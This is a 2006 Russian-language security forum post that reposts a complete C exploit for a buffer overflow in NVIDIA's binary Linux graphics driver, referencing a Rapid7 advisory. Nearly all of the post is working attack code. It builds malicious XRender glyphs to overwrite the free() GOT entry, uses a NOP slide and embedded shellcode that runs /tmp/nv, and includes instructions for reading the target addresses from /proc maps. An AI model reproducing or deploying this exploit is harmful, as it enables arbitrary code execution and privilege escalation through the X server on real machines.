NVidia Binary Graphics Driver For Linux Buffer Overflow Exploit

Discussion in 'Безопасность и Анонимность' started by Goudini, 18 Oct 2006.

  1. Goudini

    Goudini Elder - Старейшина

    Joined:
    7 Jun 2006
    Messages:
    132
    Likes Received:
    134
    Reputations:
    91
    Exploit
    Code:
    /*
     * Copyright (c) 2005 Matthieu Herrb
     * Copyright (c) 2006 Derek Abdine, Marc Bevand
     *
     * Permission to use, copy, modify, and distribute this software for any
     * purpose with or without fee is hereby granted, provided that the above
     * copyright notice and this permission notice appear in all copies.
     *
     * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
     * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
     * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
     * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
     * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
     * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
     * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
     *
     * Exploit for Buffer Overflow in NVIDIA Binary Graphics Driver For Linux
     * see http://www.rapid7.com/advisories/R7-0025.jsp for original advisory.
     */
    #include <signal.h>
    #include <stdio.h>
    #include <stdlib.h>
    
    #include <X11/Intrinsic.h>
    #include <X11/Xft/Xft.h>
    
    int done = 0;
    unsigned long black_pixel;
    
    /* This exploit takes two arguments:
     *    o The lowest address past X's heap.
     *    o X's data address.
     *
     *    Note the first address required is usually
     *    in the 0xbXXXXXXX range, as the exploit
     *    forces the nvidia driver to allocate a large
     *    sum of memory.
     *
     *    This information can be easily taken using:
     *    cat /proc/`pgrep Xorg`/maps | head -n 5
     *
     *    On a sample system, this was:
     *
     *    08048000-081b8000 r-xp 00000000 09:02 58721202   /usr/bin/Xorg
     *    081b8000-081c7000 rw-p 00170000 09:02 58721202   /usr/bin/Xorg
     *    081c7000-08533000 rw-p 081c7000 00:00 0          [heap]
     *    b5bbc000-b60bd000 rw-s e35f9000 00:0d 12154      /dev/nvidia0
     *    b60bd000-b6112000 rw-p b60bd000 00:00 0
     *
     *    Thus, one would use:
     *
     *    ./nv_exploit 0xb5bbc000 0x081b8000
     *
     *    To run the exploit.  Note that although the exploit "best guesses"
     *    the correct spot to write the shellcode, it may be off.  This
     *    may be tweaked by modifying the 0x2C0000 in the source below.
     *    If the data is written to an incorrect location where vital
     *    X program data is stored, X will (eventually, if not immediately)
     *    crash.
     *
     *    The exploit works by overwriting the address of free() in the
     *    Global Offset Table to an address offset relative to the supplied
     *    GOT  address (second argument).  The NVIDIA driver will then call
     *    Xfree, which will in turn call free() using the overwritten GOT
     *    entry and nop slide to the shellcode.
     */
    
    
    /* The shellcode below will execute a shell script located
     * at /tmp/nv. */
    unsigned char shellcode[] =
       "\xb8\x02\x00\x00\x00\xcd\x80\x85\xc0\x75\xfe\x31\xc0\x68\x2f\x6e"
       "\x76\x00\x68\x2f\x74\x6d\x70\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb8"
       "\x0b\x00\x00\x00\xcd\x80";
    
    typedef struct  {
        Display *display;
        XtAppContext app;
        Window win;
        XftFont *font;
        XftColor color, bg;
        XftDraw *draw;
        GC gc;
    } XDataStr;
    
    static void
    sigHandler(int sig)
    {
        done = 1;
    }
    
    int
    createWin(XDataStr *data)
    {
        u_long attributeMask;
        XSetWindowAttributes attribute;
        Window w;
        Display *display = data->display;
        int screen = DefaultScreen(display);
        XGCValues gc_val;
        Screen *s;
    
        attribute.background_pixel = WhitePixel(display, screen);
        attribute.border_pixel = WhitePixel(display, screen);
        attribute.bit_gravity = NorthWestGravity;
        attribute.event_mask = ButtonPressMask|ButtonReleaseMask|KeyPressMask|
            ExposureMask;
    
        attributeMask =
            CWBorderPixel |
            CWBackPixel |
            CWEventMask |
            CWBitGravity;
        s = ScreenOfDisplay(data->display, screen);
    
        w = XCreateWindow(display, RootWindow(display, screen), 0, 0,
                DisplayWidth(display, screen)/2, 150,
                0, DefaultDepth(display, screen), InputOutput,
                DefaultVisual(display, screen), attributeMask, &attribute);
    
        data->font = XftFontOpen(display, screen,
                XFT_FAMILY, XftTypeString, "mono",
                XFT_SIZE, XftTypeInteger, 16,
                NULL);
        if (!XftColorAllocName(display, XDefaultVisual(display, screen),
                    DefaultColormap(display, screen), "red4", &data->color)) {
            fprintf(stderr, "cannot get color");
            return -1;
        }
        if (!XftColorAllocName(display, XDefaultVisual(display, screen),
                    DefaultColormap(display, screen), "linen", &data->bg)) {
            fprintf(stderr, "cannot get bg color");
            return -1;
        }
        data->draw = XftDrawCreate(display, w, DefaultVisual(display, screen),
                DefaultColormap(display, screen));
        gc_val.foreground = BlackPixel(display, screen);
        gc_val.background = WhitePixel(display, screen);
        data->gc = XCreateGC (display, w, GCForeground|GCBackground,
                &gc_val);
    
        data->win = w;
        return 0;
    }
    
    void
    show(XDataStr *data)
    {
        Status s;
    
        XMapWindow(data->display, data->win);
        s = XGrabKeyboard(data->display, data->win, False,
                GrabModeAsync, GrabModeAsync, CurrentTime);
        if (s != GrabSuccess) {
            printf("Error grabing kbd %d\n", s);
        }
    }
    
    int
    main(int argc, char *argv[])
    {
        Display *display;
        Widget toplevel;
        XtAppContext app_con;
        XEvent event;
        char c, *string;
        unsigned int i;
        XDataStr *data;
        XExposeEvent *expose = (XExposeEvent *)&event;
        unsigned int heapaddr, gotaddr;
    
        if (argc > 2)
        {
            heapaddr = strtoul(argv[1],NULL,0);
            gotaddr  = strtoul(argv[2],NULL,0);
        }
        else
        {
            printf("Usage: %s <HEAPADDR> <GOTADDR>\n\n", argv[0]);
            return 0;
        }
    
        toplevel = XtAppInitialize(&app_con, "XSafe", NULL, 0,
                &argc, argv, NULL, NULL, 0);
        display = XtDisplay(toplevel);
    
        data = (XDataStr *)malloc(sizeof(XDataStr));
        if (data == NULL) {
            perror("malloc");
            exit(EXIT_FAILURE);
        }
    
        data->display = display;
        data->app = app_con;
    
        if (createWin(data) < 0) {
            fprintf(stderr, "can't create Data Window");
            exit(EXIT_FAILURE);
        }
        show(data);
    
        signal(SIGINT, sigHandler);
        signal(SIGHUP, sigHandler);
        signal(SIGQUIT, sigHandler);
        signal(SIGTERM, sigHandler);
    
        /************************************************************************
         * BEGIN FONT HEAP OVERFLOW SETUP CODE
         *
         * "It's so hard to write a graphics driver that open-sourcing it would
         *  not help."
         *    - Andrew Fear, Software Product Manager (NVIDIA Corporation).
         **********************************************************************/
        XGlyphInfo * glyphs;
        XRenderPictFormat fmt;
        XRenderPictFormat *mask = 0;
        GlyphSet gset;
        char * buf =0;
        int offset, cr, numB;
        int xscreenpos  = 32680;
        int magic_len   = 32768 - xscreenpos;
        int wr_addr_len = 3548;
        int wr_nop_len  = 200;
    
        /* Calculate the offset to the Global Offset Table.
         * 0x2C0000 is the size of the buffer the NVIDIA driver
         * allocates for us when it is about to draw.
         */
        offset = gotaddr-(heapaddr-0x2C0000);
        offset += magic_len;
        glyphs = malloc(sizeof(XGlyphInfo)*3);
    
        /* Payload glyph */
        glyphs[0].width = 0x4000; /* One contiguous buffer of 16K... way more than necessary */
        glyphs[0].height = 1;
        glyphs[0].yOff = 0;
        glyphs[0].xOff = glyphs[0].width;
        glyphs[0].x = 0;
        glyphs[0].y = 0;
    
        /* Large offset glyph (untweaked) */
        glyphs[1].width=0;
        glyphs[1].height=0;
        glyphs[1].yOff=32767;
        glyphs[1].xOff=0;
        glyphs[1].x = 0;
        glyphs[1].y = 0;
    
        /* Small offset glyph (tweaked) */
        glyphs[2].width=0;
        glyphs[2].height=0;
        glyphs[2].yOff=0;
        glyphs[2].xOff=0;
        glyphs[2].x = 0;
        glyphs[2].y = 0;
    
        fmt.type = PictTypeDirect;
        fmt.depth = 8;
    
        Glyph * xglyphids = malloc(3*sizeof(Glyph));
    
        xglyphids[0] = 'A';
        xglyphids[1] = 'B';
        xglyphids[2] = 'C';
    
        int stride = ((glyphs[0].width*1)+3)&~3; /* Needs to be DWORD aligned */
        int bufsize = stride*glyphs[0].height;
        buf = malloc(bufsize);
    
        /* Write jump address to the buffer a number of times */
        for (cr=0; cr<wr_addr_len; cr+=4)
        {
           *((unsigned int*)((unsigned char*)buf + cr)) = gotaddr+wr_addr_len+4;
        }
    
        /* Write the NOP instructions until wr_nop_len */
        memset(buf+wr_addr_len, 0x90 /* NOP */, wr_nop_len);
    
        /* Write the shellcode */
        cr+=wr_nop_len;
        memcpy(buf+cr, shellcode, sizeof(shellcode));
    
        /* Calculate the number of B's required to send */
        numB = offset / (glyphs[1].yOff * magic_len);
    
        /* We send only one C, but we change its yOff value according to
         * how much space we have left before we meet the correct index length */
        glyphs[2].yOff = (offset - (numB * glyphs[1].yOff * magic_len)) / (magic_len);
    
        /* Now create a new buffer for the string data */
        string = malloc(numB+1/*numC*/+1/*numA*/+1/*NULL*/);
        for (cr=0; cr<numB; cr++)   string[cr] = 'B';
                                    string[cr] = 'C'; cr++;
                                    string[cr] = 'A'; cr++;
                                    string[cr] =  0;
    
        mask = XRenderFindFormat(display, PictFormatType|PictFormatDepth, &fmt, 0);
        gset = XRenderCreateGlyphSet(display, mask);
    
        if (mask)
        {
            /* Ask the server to tie the glyphs to the glyphset we created,
             * with our addr/nopslide/shellcode buffer as the alpha data.
             */
            XRenderAddGlyphs(display, gset, xglyphids, glyphs, 3, buf, bufsize);
        }
        /* END FONT HEAP OVERFLOW SETUP CODE */
    
        done = 0;
        while (!done) {
            XNextEvent(display, &event);
            switch(event.type) {
                case KeyPress:
                    i = XLookupString(&event.xkey, &c, 1, NULL, NULL);
                    if ((i == 1) && ((c == 'q') || (c == 'Q'))) {
                        done = 1;
                    }
                    break;
                case Expose:
                    XftDrawRect(data->draw, &data->bg,
                            expose->x, expose->y,
                            expose->width, expose->height);
                    /* Send malignant glyphs and execute shellcode on target */
                    XRenderCompositeString8(display, PictOpOver,
                            XftDrawSrcPicture(data->draw, &data->color),
                            XftDrawPicture(data->draw), mask, gset,
                            0, 0, xscreenpos, 0, string, strlen(string));
                    break;
            }
        }
    
        free(glyphs);
        free(xglyphids);
        free(buf);
        free(string);
    
        XFlush(display);
        XUnmapWindow(data->display, data->win);
        XUngrabKeyboard(data->display, CurrentTime);
        XCloseDisplay(display);
        exit(EXIT_SUCCESS);
    }